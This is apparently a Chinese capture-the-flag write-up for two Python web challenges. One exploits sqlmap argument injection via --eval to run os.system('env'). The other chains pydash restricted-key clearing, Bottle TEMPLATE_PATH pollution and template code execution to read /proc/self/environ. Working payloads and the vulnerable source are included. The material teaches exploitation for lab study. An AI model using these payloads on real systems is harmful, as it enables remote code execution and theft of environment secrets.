# sqlmap
源码:
@app.post("/run") | |
async def run(request: Request): | |
data = await request.json() | |
url = data.get("url") | |
if not url: | |
return {"error": "URL is required"} | |
command = f'sqlmap -u {url} --batch --flush-session' | |
def generate(): | |
process = subprocess.Popen( | |
command.split(), | |
stdout=subprocess.PIPE, | |
stderr=subprocess.STDOUT, | |
shell=False | |
) | |
while True: | |
output = process.stdout.readline() | |
if output == '' and process.poll() is not None: | |
break | |
if output: | |
yield output | |
return StreamingResponse(generate(), media_type="text/plain") |
很显然的 subprocess.Popen, 但因为设置了 shell=False 导致⽆法利⽤反引号等技巧进⾏常规的
命令注⼊
但是仔细观察可以发现我们还是可以控制 sqlmap 的参数,即参数注⼊
结合 GTFOBins: https://gtfobins.github.io/gtfobins/sqlmap/
通过 --eval 参数可以执⾏ Python 代码,然后因为上⾯ command.split () 默认是按空格分隔
的,所以需要⼀些⼩技巧来绕过
注意这⾥参数的值不需要加上单双引号,因为上⾯已经设置了 shell=False , 如果加上去反⽽代表的
是 “eval ⼀个 Python 字符串”
最终 payload
127.0.0.1:8000 --eval __import__('os').system('env')
# ez_dash
预期解是污染掉 bottle.TEMPLATE_PATH 实现任意⽂件读取 || <%%> 直接 rce
?path=<%%>os.system("env")<%%>
源码:
''' | |
Hints: Flag在环境变量中 | |
''' | |
from hashlib import new | |
from typing import Optional | |
import pydash | |
import bottle | |
__forbidden_path__ = ['__annotations__', '__call__', '__class__', '__closure__', | |
'__code__', '__defaults__', '__delattr__', '__dict__', | |
'__dir__', '__doc__', '__eq__', '__format__', | |
'__ge__', '__get__', '__getattribute__', | |
'__gt__', '__hash__', '__init__', '__init_subclass__', | |
'__kwdefaults__', '__le__', '__lt__', '__module__', | |
'__name__', '__ne__', '__new__', '__qualname__', | |
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', | |
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__', | |
"Optional", "func", "render", | |
] | |
__forbidden_name__ = [ | |
"bottle" | |
] | |
__forbidden_name__.extend(dir(globals()["__builtins__"])) | |
def setval(name: str, path: str, value: str) -> Optional[bool]: | |
if name.find("__") >= 0: return False | |
for word in __forbidden_name__: | |
if name == word: | |
return False | |
for word in __forbidden_path__: | |
if path.find(word) >= 0: return False | |
obj = globals()[name] | |
try: | |
pydash.set_(obj, path, value) | |
except: | |
return False | |
return True | |
@bottle.post('/setValue') | |
def set_value(): | |
name = bottle.request.query.get('name') | |
path = bottle.request.json.get('path') | |
if not isinstance(path, str): | |
return "no" | |
if len(name) > 6 or len(path) > 32: | |
return "no" | |
value = bottle.request.json.get('value') | |
return "yes" if setval(name, path, value) else "no" | |
@bottle.get('/render') | |
def render_template(): | |
path = bottle.request.query.get('path') | |
if path.find("{") >= 0 or path.find("}") >= 0 or path.find(".") >= 0: | |
return "Hacker" | |
return bottle.template(path) | |
bottle.run(host='0.0.0.0', port=8000) |
有两个路由:
/setValue
@bottle.post('/setValue') | |
def set_value(): | |
name = bottle.request.query.get('name') | |
path=bottle.request.json.get('path') | |
if not isinstance(path,str): | |
return "no" | |
if len(name)>6 or len(path)>32: | |
return "no" | |
value=bottle.request.json.get('value') | |
return "yes" if setval(name, path, value) else "no" | |
def setval(name: str, path: str, value: str) -> Optional[bool]: | |
if name.find("__") >= 0: return False | |
for word in __forbidden_name__: | |
if name == word: | |
return False | |
for word in __forbidden_path__: | |
if path.find(word) >= 0: return False | |
obj = globals()[name] | |
try: | |
pydash.set_(obj, path, value) | |
except: | |
return False | |
return True |
name不能有"__";path不能有__forbidden_path__中的关键词。;name变量必须能在globals()里找到;pydash.set_()用于修改obj,但是收到RESTRICTED_KEYS限制
/render
这个只能渲染文件,不能渲染字符串:
return bottle.template(path)
所以我们的目的变成了修改 RESTICETED_KEYS 里面的内容
至于怎么修改来的:
pydash.set_()
的行为:
def base_set(obj, key, value, allow_override=True):
if isinstance(obj, dict):
if allow_override or key not in obj:
obj[key] = value
elif (allow_override or not hasattr(obj, key)) and obj is not None:
_raise_if_restricted_key(key) # ⚠️ 这里是关键
setattr(obj, key, value) # 修改对象的属性
return obj
如果 `obj` 是 `dict`,直接修改 `obj[key]`**。
**如果 `obj` 是对象(比如 `pydash` 模块),就用 `setattr(obj, key, value)` 来修改属性**。
**在 `setattr(obj, key, value)` 之前会检查 `RESTRICTED_KEYS`,如果 `key` 在其中,就会报错**。
setval()
允许我们修改 globals()
里的对象:
def setval(name:str, path:str, value:str)-> Optional[bool]: | |
if name.find("__")>=0: return False | |
obj = globals()[name] # 取全局变量 | |
try: | |
pydash.set_(obj, path, value) # 通过 pydash.set_() 修改属性 | |
except: | |
return False | |
return True |
name
不能包含 __
,但 pydash
是合法的全局变量。
globals()[name]
让我们可以访问 pydash
模块。
然后 pydash.set_()
就会修改 pydash.RESTRICTED_KEYS
。
# 3. 如何修改 RESTRICTED_KEYS
假设 RESTRICTED_KEYS
里面有黑名单,阻止修改 bottle.TEMPLATE_PATH
:
python
复制编辑
RESTRICTED_KEYS = ["TEMPLATE_PATH", "some_other_key"]
如果 pydash.set_()
看到 key in RESTRICTED_KEYS
,就会报错:
python复制编辑if key in RESTRICTED_KEYS:
raise KeyError(f"access to restricted key {key!r} is not allowed")
# 绕过方法
我们先清空 RESTRICTED_KEYS
,让它变成 []
:
json复制编辑{
"name": "pydash",
"path": "RESTRICTED_KEYS",
"value": []
}
执行过程
setval("pydash", "RESTRICTED_KEYS", [])
globals()["pydash"]
取得pydash
模块。pydash.set_(pydash, "RESTRICTED_KEYS", [])
setattr(pydash, "RESTRICTED_KEYS", [])
,成功清空限制!
这样 _raise_if_restricted_key()
就不会拦截任何修改操作,我们就能修改 bottle.TEMPLATE_PATH
了。
然后同样的再用 bottle 的 TEMPLATE_PATH 污染,但是 bottle.TEMPLATE_PATH 变量是无法被 pydash.set_() 赋值操作的
所以需要用name=setval ,{"path":"__globals__.bottle.TEMPLATE_PATH","value":["../../../../../proc/self/"]
最后用 /render?path=environ 直接拼接成…/…/…/…/…/proc/self/environ 获取 flag